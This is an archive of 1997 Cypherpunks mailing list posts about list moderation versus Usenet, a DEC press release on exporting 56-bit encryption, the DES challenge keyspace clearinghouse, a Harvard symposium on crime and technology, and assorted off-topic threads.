- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: OS/2...Opens up Windows, shuts up Gates.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Tue, 4 Feb 1997 15:21:01 -0800 (PST)
To: gbroiles@netbox.com
Subject: Re: Dissolving Choke Points
Message-ID: <199702042321.PAA07602@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"gbroiles@netbox.com"  "Greg Broiles"  4-FEB-1997 14:55:18.91

>But my impression is that many moderation opponents would also be opponents
>of a move to Usenet. Perhaps I'm wrong. But Usenet offers precisely what many
>people claim we must have for the list to be viable, e.g.,
>uncontrolled/uncontrollable distribution and messaging. So I'm curious about
>whether or not the proponents of an open, uncontrolled list really want it to
>be *that* open and uncontrolled. In the past, there's been strong opposition
>to that. But it's possible that most of the people who had strong feelings
>about not wanting to be subjected to the downside of Usenet have already left
>the list.

>(And if the current opponents of moderation don't want to see the list be
>quite that open, I think what we're arguing about here is not "censorship v.
>no censorship" but "what degree of censorship do we want? one lump, or two?",
>which pretty much eliminates anyone's claim to have a moral high ground from
>which to argue.)  

	Umm... there's a difference. Moderation is control by a _person_;
not moving to Usenet is control by nobody except how things happen to be set
up.

>The good side I see to a move to Usenet is that it lets people use the
>comparatively better tools for managing messages - e.g., NoCeM, threading, nn
>(whose killfiles will kill by thread, author, regexp, and can be time limited
>so you can easily give annoying people a 30-day 'timeout' and see if they're
>still a kook later on), AltaVista and DejaNews archiving/searching, and
>server architecture that's designed to cope with storing/indexing many
>messages.

	Hmm... since both you and Bill Stewart are pointing out various
advantageous things about Usenet, I may need to retract my previous statement
that mail fitering is better. On the other hand, other people have mentioned
the susceptibility of email to write-your-own filtering and other
processing. (For instance, I've got a project that needs cypherpunks (and
other controversial groups) to be on mailing lists instead of (or at least
as well as) news servers to work right.) Is there a full-scale equivalent
of procmail for Usenet, including functions like shunting messages to
programs et al?

>The down side is that Usenet is more or less a sewer these days, and some of
>it's bound to spill over. 

	Quite.
	-Allen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anil Das <das@sgi.com>
Date: Tue, 4 Feb 1997 23:25:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "alt.cypherpunks" people?
Message-ID: <199702050725.XAA18012@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back wrote:
> 
> What do people think of starting an alt.cypherpunks USENET newsgroup?
> 

I have only one objection. I will never post to an Usenet group
under my real email address for fear of ending up in spammer
databases.

-- 
Anil Das





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vincent Cate <vince@offshore.com.ai>
Date: Tue, 4 Feb 1997 14:05:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Press/Digital Wins US Dept of Comm. Approval to Export Encryption Prod. (fwd)
Message-ID: <199702042205.OAA06481@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



---------- Forwarded message ----------
Date: Tue, 4 Feb 1997 08:37:24 -0500
From: DIGITAL PRESS RELEASE <irprod@nimv03.das.dec.com>
To: pr-news@majordomo.das-x.dec.com
Subject: Press/Digital Wins US Dept of Comm. Approval to Export Encryption Prod.


||||||  Digital Press and Analysts News  ||||||||||||||||||||||||||||||||||

                                              Digital Equipment Corporation
                                          Maynard, Massachusetts 01754-2571

Editorial contact:

   Patrick Ward
   (508) 493-9441
   patrick.ward@mail.dec.com

           Digital Equipment Corporation Wins US Department of 
         Commerce Approval to Export Stronger Encryption Products

                 56-bit Data Scrambling Technology
               Safeguards Internet Commerce Worldwide

MAYNARD, Mass., February 3, 1997 -- Digital Equipment Corporation 
today announced that it has won United States Department of Commerce 
approval to export 56-bit encryption products worldwide, the 
strongest yet for protecting Internet commerce worldwide.

     Last week a University of California at Berkeley graduate 
student used a set of workstations to crack a 40-bit encryption code 
in 3.5 hours.  "The same workstations would require more than 20 
years to break a 56-bit Data Encryption Standard (DES Code), 
according to Samuel H. Fuller, DIGITAL's vice president and chief 
scientist.

     "The Commerce Department's action enables DIGITAL to provide 
its international customers with complete systems for electronic 
commerce over the Internet, including the necessary security 
software," according to DIGITAL's Chairman, Robert B. Palmer. "This 
makes the Internet more attractive for our customers worldwide, and 
represents an exciting market opportunity for DIGITAL."

     "We are very pleased with the leadership shown by DIGITAL's top 
management, including Robert Palmer, in making a long-term 
commitment to develop, produce and market key recovery products and 
to take advantage of the Administration's new policy on encryption 
exports," said Sue E. Eckert, assistant secretary for Export 
Administration.

     DIGITAL will immediately export 56-bit encryption for its 
OpenVMS operating systems and for its RoadAbout/DES Product for 
wireless LAN computing.  Shipments of the 56-bit export version of 
AltaVista Tunnel will follow this year.

     "AltaVista Tunnel software can simply and cost-effectively 
create 'Virtual Private Networks,' allowing customers who are 
traveling or at remote sites to securely access their company's 
private network over the public Internet," said Ilene H. Lang, 
president and chief executive officer of AltaVista Internet 
Software, and a vice president at DIGITAL. "Now the Virtual Private 
Networks we offer to customers in the United States can become 
Global Private Networks as the market expands worldwide."

     The Commerce Department announced on December 30 that American 
companies could export "strong" or Data Encryption Standard (DES)
encryption products, such as DIGITAL's industry-leading AltaVista 
Tunnel, if the companies could demonstrate progress in developing 
key-recovery products over the next two years.  Previously the US 
government had restricted export of strong encryption for security 
reasons.

     Digital Equipment Corporation is a world leader in open client/
server solutions from personal computers to integrated worldwide 
information systems.  DIGITAL's scalable Alpha and Intel platforms, 
storage, networking, software and services, together with industry-
focused solutions from business partners, help organizations compete 
and win in today's global marketplace.
                                ####

Note to Editors:  DIGITAL, the DIGITAL logo and OpenVMS are 
                  trademarks of Digital Equipment Corporation.

CORP/97/537
============================================================================
Digital Press and Analysts News is sent as a courtesy to members of 
the press, analyst and consulting community.  For subscription 
information please contact pr-news@pa.dec.com.  All Digital press 
releases, fact sheets and backgrounders are archived on ftp.digital.com 
in the /pub/Digital/info/pr-news directory.  They are also available at 
http://www.digital.com/info/pr-news/ on the World Wide Web .
============================================================================






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 4 Feb 1997 23:28:22 -0800 (PST)
To: Clint Barnett <nobody@replay.com>
Subject: Re: Getting into MIT is impossible
Message-ID: <199702050728.XAA18191@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Erland van Lidth de Jeude is a MIT grad.  He played the big badass in "Stir 
Crazy."  Computer science major, BTW.




At 07:37 PM 2/3/97 -0800, Clint Barnett wrote:
>wasn't Dolph Lundgren an MIT grad? I seem to remember something about him 
>having a degree in Chemical Engineering  or something along those lines. 
>
>clint barnett
>lord of the cosmos
>emily carr institute
>
>On Wed, 29 Jan 1997, Anonymous wrote:
>
>> 
>> 
>> According to Rick Osborne:
>> 
>> "I disagree and can speak from experience.  I was denied admission to MIT
>> even thought I had a 3.82 GPA, 1440 SAT (one try), and had taken 9 AP tests
>> with two 5's, four 4's, two 3's, and one 2.  As for being well-rounded, I
>> was on several academic teams, sang in Chorus, acted and stage managed in
>> Drama, and played Tennis."
>> 
>> People get into MIT--or don't get into MIT--for lots of reasons. Most
>> intelligent people apply to several schools, knowing that admissions
>> practices are subject to the vagaries of reality.
>> 
>> In my case, my SATs were about 1500, with some 800s in achievement tests.
>> And the usual bullshit high school clubs, political offices, etc. etc. I
>> was accepted by MIT, but not by Caltech. I didn't lose any sleep over the
>> way things turned out.
>> 
>> And I decided not to go to MIT, either.
>> 
>> "The only thing I didn't have that the next MIT applicant had was money.  I
>> made the mistake of letting them know that I was dirt poor and would need
>> full aid/grants/etc, and to quote "The Great Escape" it was "Zzzt! To the
>> Russian front!""
>> 
>> My guess is that "other factors" were involved. 
>> 
>> I noted with some interest, but little surprise, that the guy claiming MIT
>> required a 4.0 GPA and a 1600 combined SAT score could barely spell, and
>> had major problems making a coherent point. Methinks this is why MIT
>> rejected him, not his lack of a "1600."
>> 
>> ">For what it's worth, I wanted to go to MIT my sophomore year in high
>> >school, too
>> 
>> "Lucky you.  It had been a dream of mine since I was an annoying
>> overachiever of 6.  Sux to be white trash, I guess."
>> 
>> MIT offered me a substantial economic aid package, in the form of loans,
>> grants, and various campus jobs. What does this tell you?
>> 
>> "MIT may be a great school, but they tend to be snooty assholes for the most
>> part.  (DISCLAIMER: Not all MIT grads/attendees are necessarily "snooty
>> assholes", I'm just saying that I've yet to meet one that wasn't.)
>> 
>> I've known about a dozen or so MIT grads, and only one of them was a snooty
>> asshole, and it was a _she_, one of the first MIT women grads (and she was
>> _very_ impressed by this). 
>> 
>> Most MIT grads are perfectly reasonable.
>> 
>> Xanthar
>> 
>> 
>> 
>> 
>> --
>> 
>
>
>
Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Tue, 4 Feb 1997 16:27:58 -0800 (PST)
To: Sean Roach <roach_s@alph.swosu.edu>
Subject: Re: concerning Ben Franklin
Message-ID: <199702050027.QAA08786@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


This is one of the point that I address in my article in the February 1997
issue of "Internet Underground" magazine (to which I am a contributing
editor). Here's an excerpt, since the magazine is just starting to hit the
stands.

---
The debate swirling through Capitol Hill conference rooms and the
corridors of the White House revolves around one basic question: What role
should the government play in regulating encryption?

The founding fathers might be startled by the byzantine rules. After all,
some revolutionaries were cryptographers themselves. Benjamin Franklin in
1781 crafted a substitution cipher based on a 682-character French phrase.
James Madison created a code replacing words with two- and three-digit
numbers that he used until 1793.

But by far the most remarkable cryptologist of the Revolutionary War was
the author of the Declaration of Independence, Thomas Jefferson, who
between 1790 and 1800 invented a cipher system so far ahead of its time
that it remained in use even into the late 20th century.
---

The Codebreakers is also a good source.

-Declan


>I was reading one of the posts in the thread reguarding sone stolen object
>in Miami, the one reffering to the locks of the boxes, and it got me thinking.
>Ben Franklin was a revolutionary, scientist, inventor, publisher, statesman,
>and bookburner (according to F451).  Perhaps he should be considered to be a
>cypherpunk, not that he necessarily knew anything about crypto, but because
>he was interested in many of the same ideals.  It is my belief that were he
>alive today, he would be on this list.  If the work of fiction referred to
>above, and in another recent post, is accurate in its reference to Franklin,
>then he would seem to have had the same solution to net pollution, burn it.
>Rather than considering Ben Franklin the first fireman, I would like to
>think of him as an early breed of cypherpunk.  By this I consider cypherpunk
>to be interested in the subject, and its outcome, and a cryptographer to be
>just one faction of cypherpunk.  Merely my opinion.
>Does anyone know whether or not Mr. Franklin may have played with code as
>well?  All of my sources were assimilated into my understanding of the man
>several years ago, and at the time crypto was less in the public eye than it
>is now.



-------------------------
The Netly News Network
Washington Correspondent
http://netlynews.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Tue, 4 Feb 1997 16:27:38 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Moderation [Tim,Sandy]
Message-ID: <199702050027.QAA08748@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam writes:

>The problem with censorship or moderation is that it waters down the
>absolutism of free speech.  Free speech in electronic media, with
>cypherpunks type I, and type II remailers, is the closest thing to
>truly free speech yet.

I agree and disagree. Moderation often *increases* the value of speech. The
Wall Street Journal, or Time Magazine, or the JAMA have strict policies
regarding what information they print; these policies increase the
publication's value. Moderation is not necessarily censorship. Would you
criticize the National Coalition Against Censorship for not including in
their newsletter (to which I subscribe) off-topic rants by Jesse Helms?

What Vulis and the rest (whom I killfiled long ago) have done is polluted a
common resource, making it unusable for the rest. It's the tragedy of the
commons. When all can speak without limit in a public forum, the drunken
boor can shout everyone else down.

-Declan



-------------------------
The Netly News Network
Washington Correspondent
http://netlynews.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 23:26:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702050726.XAA18063@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Michael Froomkin - U.Miami School of Law wrote:

> I'm afraid you have been a charter member of my killfile.  Any comments
> you may have made, I missed.  Since they weren't about crypto anyway, but
> about list moderation (a dull topic, IMHO), I can accept that.

I never commented about crypto?  Why, I even wrote a crypto program,
which few on this list have done, BTW.

I hope Sandy allows this on the big list, since Michael has penned
a message about me, but said that he won't allow my reply to him.

Nobody has to tell me (or probably anyone else either) that they
have killfiled me (or anyone else).  All they have to do is ignore
me (or anyone else), and there's no further problem, plus, as a
bonus, it makes for less noise on the list.  What say, Michael?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steven Herod <sherod@medeserv.com.au>
Date: Tue, 4 Feb 1997 06:55:52 -0800 (PST)
To: cryptography@c2.net
Subject: Full strength Email Clients.
Message-ID: <199702041455.GAA28699@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello, I'm in search of an  *EASY TO USE* Internet Email client software
that uses full strength (outside US export restriction) RSA encryption.

It would be used for end to end encryption of Patient Pathology results,
hence the need for "full strength".

Any pointers to sites of interest?

Best Regards
Steven Herod
Computer Systems Officer
Med-E-Serv Connect, a division of CITEC





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 4 Feb 1997 16:27:11 -0800 (PST)
To: Steve Schear <azur@netcom.com>
Subject: Re: Govt & cyberspace
Message-ID: <199702050027.QAA08736@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Steve writes:

>Democracy is not without its significant shortcomings. If you doubt this
>read Tocquevelle.

Or Hayek. Democracy, after all, is majoritarian rule. Living under a
homogenous majority, with its whims and desires as law, would be more
oppressive than living under a benign dictatorship.

-Declan


-------------------------
The Netly News Network
Washington Correspondent
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 23:26:47 -0800 (PST)
To: aaron@herringn.com
Subject: Re: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
Message-ID: <199702050726.XAA18124@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


aaron@herringn.com wrote:
> John Gilmore wrote:
> >I'm glad we're talking about some of the real issues here.
> >Tim, the Cypherpunks have chosen to follow Sandy's lead for this
> >month.  I'll admit I made it easy for them, but the results are
> >conclusive.  There are 1311 addresses in the cypherpunks list today;
> >42 in the unedited list; and 19 in the flames list.  Forty people
> >cared enough to read every posting; the other thousand either wanted
> >to try the experiment -- or didn't care enough to send an email
> >message.  Which, as we all know, is a very low threshold.

Re: the below.  Easily the best and most intelligent suggestion so
far.  Why couldn't Sandy and John with all their experience think
of this?

> If I might make a suggestion:
> Some people want moderation. That's fine, I've never been very big on
> letting other people choose what I read, but some people want it.
> For those who want it, let someone moderate the list for as long as
> they care to do it. Approved messages get a "X-sandy-approved"
> header. The responsibility for setting up a filter to toss everything
> that doesn't have the header is the responsibility of the end user.
> Toad will need to filter incoming posts to make sure they don't come
> "pre-approved", but that's the only hole I can think of.
> Everyone gets all of the Cypherpunks list. Those who want moderation
> filter the unapproved posts, those who want all of it get all of it.
> Hopefully, this will make (almost) everyone happy.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 4 Feb 1997 23:26:41 -0800 (PST)
To: "Timothy C. May" <cypherpunks@toad.com>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702050726.XAA18116@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:14 PM 2/3/97 -0800, Timothy C. May wrote:

>Several people have also commented on this, that their filters are still
>working overtime. As it should be, really, as no moderator can make the
>list match any given person's preferences.
>
>(Personally, I'm not even convinced filters are essential. It takes no
>longer than 5 seconds to glance at a message and know whether to scrap it
>or not. Granted, it takes a bit of time to download, especially at slower
>modem speeds. But whether Sandy's censorship is producing any significant
>"savings" depends on how many messages he's sorting into each
>pile...clearly if 20% or less of the total posts are being filtered out,
>then the savings are ignorable.

That might not be quite true, or at least not complete.  Another effect is 
that the new structure of the list may deter some of the flamers from 
posting, when they don't think their notes will be seen on the moderated list.

In any case, however, I agree that spam and trash are easy to filter out.



Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 23:26:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Govt & cyberspace
Message-ID: <199702050726.XAA18108@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh wrote:
> Steve writes:
> >Democracy is not without its significant shortcomings. If you doubt this
> >read Tocquevelle.

> Or Hayek. Democracy, after all, is majoritarian rule. Living under a
> homogenous majority, with its whims and desires as law, would be more
> oppressive than living under a benign dictatorship.

I wish for once and for all someone would delineate this "democracy"
thing from a true, distributed democracy, where every individual is
required to participate equally, and no narrow interests can co-opt
the vote the way they do in the kind of "democracy" Declan mentions.

Wouldn't it be better when people mention a one-word political
philosophy such as democracy, that they make the definition
more precise by using two or three words instead?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Against Moderation <antimod@nym.alias.net>
Date: Tue, 4 Feb 1997 11:41:56 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Re: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
Message-ID: <199702041941.LAA04358@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


John Gilmore <gnu@toad.com> writes:

> Tim, the Cypherpunks have chosen to follow Sandy's lead for this
> month.  I'll admit I made it easy for them, but the results are
> conclusive.  There are 1311 addresses in the cypherpunks list today;
> 42 in the unedited list; and 19 in the flames list.  Forty people
> cared enough to read every posting; the other thousand either wanted
> to try the experiment -- or didn't care enough to send an email
> message.  Which, as we all know, is a very low threshold.

I just have to point out that you are ignoring some important factors
(though I do trust your intentions and believe it is unintentional).
I initially tried subscribing to all the lists, but the headers of the
edited and unedited lists were identical making it impossible to sort
the mail.  To make matters worse, some messages seem to have gone out
only to the edited list, and not to the unedited (particularly at the
beginning), so that, unable to come up with a decent filtering scheme
easily, I finally gave up and just subscribed to cypherpunks.

In general, unsubscribing and resubscribing to a mailing list is not
completely trivial.  In addition to the particulars of cypherpunks,
there are also the issues of what if your E-mail address depends on
the machine you send mail from and your unsubscribe request gets
delayed for confirmation.  What if the new list no longer works
properly with your mail filter and you end up with 1,000 pieces of
cypherpunks mail in your main mailbox, etc.  These are not
insurmountable obstacles, but they certainly provide a strong enough
disincentive for people to switching their list subscriptions that I
think the numbers you list above are meaningless.

Perhaps a better comparison would be to look at how many people
subscribe to the other two filtered cypherpunks lists.

> Perhaps at that point I should have shut down the list, as Lucky is
> now suggesting.

Well, you don't appreciate the content of the list, and you seem to
feel that many members of the list don't appreciate what you are
doing.  Why not shut the list down?  I can think of one reason:
cypherpunks seems to suck in a lot of crap, and might be keeping that
crap away from the coderpunks list.  Other than that, though, I think
killing this list would probably be a good idea.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Tue, 4 Feb 1997 23:26:00 -0800 (PST)
To: jproc@bellglobal.com
Subject: Re: BA Crypto Machine Photos
Message-ID: <199702050726.XAA18050@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>BTW, does anyone know the meaning of 'order wire mode' in the context of a
>crypto broadcast? This mode is found in the KWR-37 online crypto
>receiver. Please send all photo requests or responses via private E-mail.

If it means the same thing as in the telecom industry, its an out-of-band
(often analof) channel between two locations connected by wide-band (e.g.,
T1) facilities.  Its primary purpose is to provide service personnel, at
each end point, the ability to converse with one another while performing
work on that link.

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joel McNamara <joelm@eskimo.com>
Date: Tue, 4 Feb 1997 23:26:26 -0800 (PST)
To: coderpunks@toad.com
Subject: Unofficial DES Challenge Clearinghouse
Message-ID: <199702050726.XAA18086@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Until someone comes up with an automated method of keyspace allocation for
the DES challenge (and maybe even after), I've decided to run the
Unofficial DES Challenge Clearinghouse.

This Web page will list keyspace that's already been searched (or is
planned to be searched) with links to any brute force utilities.

If you clear part of the keyspace, e-mail me the range, and I'll update the
page.

http://www.eskimo.com/~joelm/des.html

Yes, I agree that a trusted, verifiable method of keyspace allocation and
reporting needs to be put in place, but in the meantime, this rather simple
page will hopefully reduce some duplication of effort.

Joel





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Z.B." <zachb@netcom.com>
Date: Tue, 4 Feb 1997 23:42:54 -0800 (PST)
To: Name Withheld by Request <nobody@replay.com>
Subject: re: Moderation, Tim, Sandy, me, etc * Reputation Capital
Message-ID: <199702050742.XAA18656@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 5 Feb 1997, Name Withheld by Request wrote:

> [snip]
> John Gilmore said:
> >Perhaps at that point I should have shut down the list, as Lucky is
> >now suggesting.  "Asking the list what to do" was clearly not a useful
> >option.  Sandy cared enough about the community to make some concrete
> 
> Not a useful option? Why not? If there aren't any ideas left in this 
> community, I'm with Lucky. Pull the plug.
> [snip]

I've been meaning to ask this for a while...but why *don't* we just pull 
the plug, at least for just a few days?

Unsubscribe everyone from all the lists, wait a bit, and then send a 
message to all of the subscribers with full info on each of the lists 
(cp, cp-unedited,cp-flames) and see what happens when they resubscribe. 

I bet that most of the people who don't post and don't care one way or 
the other wouldn't bother to resubscribe, so we'd have a higher ratio of 
people who mind if the list is moderated vs. those who'd be happy either 
way.  




Zach Babayco 

zachb@netcom.com <-------finger for PGP public key

If you need to know how to set up a mail filter or defend against 
emailbombs, send me a message with the words "get helpfile" (without the 
" marks) in the SUBJECT: header, *NOT THE BODY OF THE MESSAGE!*  I have 
several useful FAQs and documents available.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 4 Feb 1997 23:28:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Harvard Symposium
Message-ID: <199702050728.XAA18201@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Mime-Version: 1.0
Date: Tue, 4 Feb 1997 15:10:17 -0800
From: jmuller@brobeck.com (John D. Muller)
Subject: Harvard Symposium
To: rah@shipwright.com

        Bob:  I don't recall seeing this on e$pam and thought it might be
     of interest.  What with the Boston connection, it's clearly a
     dcsb-worthy item, and I'll send it to them separately.


______________________________ Forward Header
__________________________________
Subject: [NET-LAWYERS] HARVARD JOURNAL OF LAW & TECHNOLOGY
Author:  "K. Dueker" <kdueker@LAW.HARVARD.EDU> at internet
Date:    2/4/97 1:00 AM


[CROSS-POSTED; PLEASE FORGIVE DUPLICATION]

PRESS RELEASE

Symposium:  Crime & Technology
Law Enforcement Technology % Cybercrime % Electronic Commerce

(Cambridge, Massachusetts) - The Harvard Journal of Law & Technology is
pleased to announce its Spring Symposium: "Crime & Technology."  The
Symposium will be held Saturday, March 15, 1997, in the Ames Courtroom at
the Harvard Law School in Cambridge, MA.

The Symposium will consist of two moderated panel discussions, as well as
several presentations.  The morning session is expected to focus on
"Search, Seizure, and Surveillance Technology," while the afternoon session
will focus on "The Risks of Electronic Banking & Commerce."

Admission to the Symposium is free to all Harvard affiliates (with valid
Harvard ID), $15 for all other students, $30 for public sector
professionals, and $100 for private sector professionals.

The Spring Issue of the Journal will include articles covering the broad
topic of "Crime and Technology."

For additional information about the Symposium or the Journal, contact
Symposium Editor Belinda Juran, by e-mail at juran@law.harvard.edu, or by
phone at the Harvard Journal of Law & Technology offices at
617-495-3606 or 617-493-7949.


ABOUT THE JOURNAL:
The Harvard Journal of Law & Technology is a leading scholarly
publication for articles addressing the many diverse interstices of
science and technology with law and society.  We have published articles
by law professors, practitioners, business leaders, and politicians on
varied topics including biotechnology, computers, international trade,
technology transfer, intellectual property, medical technologies, and
telecommunications. These and other subjects are some of the most
exciting and rapidly developing areas of the law, and we believe that the
dialogue provided by the Harvard Journal of Law & Technology will help to
shape the future of this important field.  We welcome submissions of
articles, case comments, or book reviews addressing the relationship of
law and technology.



SUBSCRIPTION INFORMATION:
For additional information, please contact the Journal at the address
below.  The Journal publishes three issues each year. To subscribe to the
Journal's upcoming issues in Volume 10,  please send the Journal a check
for U.S. $45.00 (foreign orders $50.00) to the address below.  To obtain
the issue discussed above or back issues, please send the Journal a check
for $35.00 with a note indicating the desired issue (i.e., "Vol. 9 No. 2").

Media Contact:  Kenneth S. Dueker, Communications Editor
Release Date:  February 04, 1997.

*************************************************************************

              Harvard Journal of Law & Technology
              Publications Center
              Harvard Law School
              Cambridge, MA 02138


              Telephone: (617) 495-3606

              E-Mail:  jolt@law.harvard.edu
              WWW:  http://www.law.harvard.edu/home/jolt/

*************************************************************************




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 23:43:01 -0800 (PST)
To: "Z.B." <zachb@netcom.com>
Subject: Re: Moderation, Tim, Sandy, me, etc * Reputation Capital
Message-ID: <199702050743.XAA18659@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Z.B. wrote:
> On Wed, 5 Feb 1997, Name Withheld by Request wrote:
> > John Gilmore said:
> > >Perhaps at that point I should have shut down the list, as Lucky is
> > >now suggesting.  "Asking the list what to do" was clearly not a useful
> > >option.  Sandy cared enough about the community to make some concrete

> > Not a useful option? Why not? If there aren't any ideas left in this
> > community, I'm with Lucky. Pull the plug.

On the below:  Remember in "I, Mudd" where the Captain said to Rodney
the Robot: "I'm lying - everything I say is a lie".  And the robot
collapses because it is not programmed to handle such blatant acts
of sabotage of reality.

Humans OTOH, and particular those who do odd jobs for the CIA (you
know, the ones who make those little "excursions" to Nepal and Burma),
have no problem with this, since their reality doesn't even intersect
with that of typical mailing list readers.

What is Tim May really mad about?  What he says he's mad about?
I don't think so.  The scam ran past him and he fell off of the
truck.  Tsk tsk.

> I've been meaning to ask this for a while...but why *don't* we just pull
> the plug, at least for just a few days?
> Unsubscribe everyone from all the lists, wait a bit, and then send a
> message to all of the subscribers with full info on each of the lists
> (cp, cp-unedited,cp-flames) and see what happens when they resubscribe.
> I bet that most of the people who don't post and don't care one way or
> the other wouldn't bother to resubscribe, so we'd have a higher ratio of
> people who mind if the list is moderated vs. those who'd be happy either






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Tue, 4 Feb 1997 15:19:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: Are cypher punks capable?
Message-ID: <199702042319.PAA07553@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Against Moderation wrote:
> In general, unsubscribing and resubscribing to a mailing list is not
> completely trivial.

Do you think that a cypher punk is not able to solve these problems?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 4 Feb 1997 23:41:11 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: More on Cellular Encryption Docs
Message-ID: <199702050741.XAA18590@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 06:31 PM 2/1/97 -0800, Bill Stewart wrote:
>At 04:10 PM 2/1/97 -0500, John Young wrote:
>>Here's more on the controlled documents for cellular encryption
>>from TIA/EIA we described in a 26 January post to cpunks:
>...
>>   TR45.0.A
>>   Common Cryptographic Algorithms, Revision B
>>   June 21, 1995, 72 pp. (With ITAR notice on every page)
>
>Of course, ITAR as recently modified says it's ok to send this
>stuff overseas to foreigners, as long as it's on paper.
>There may be separate restrictions on sending it, or on copying,
>but they're based on copyright or contractual non-disclosure.

Given that high-density inkjet printers can do 600x600 dpi resolution, it 
should be possible to achieve the equivalent of 100x100 bpi of 
easily-recoverable data on ordinary paper.  That's about 800 kilobits, or 
100 kilobytes.   What does ITAR say about this?


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marshall Clow <mclow@owl.csusm.edu>
Date: Tue, 4 Feb 1997 23:41:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
Message-ID: <199702050741.XAA18620@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 4:05 PM -0800 2/4/97, aaron@herringn.com wrote:
>
>If I might make a suggestion:
>
>Some people want moderation. That's fine, I've never been very big on
>letting other people choose what I read, but some people want it.
>
>For those who want it, let someone moderate the list for as long as
>they care to do it. Approved messages get a "X-sandy-approved"
>header. The responsibility for setting up a filter to toss everything
>that doesn't have the header is the responsibility of the end user.
>Toad will need to filter incoming posts to make sure they don't come
>"pre-approved", but that's the only hole I can think of.
>
>Everyone gets all of the Cypherpunks list. Those who want moderation
>filter the unapproved posts, those who want all of it get all of it.
>
>Hopefully, this will make (almost) everyone happy.
>
I like this idea.
However, I would suggest an additional refinement:
	Implement a cypherpunks-moderated list which
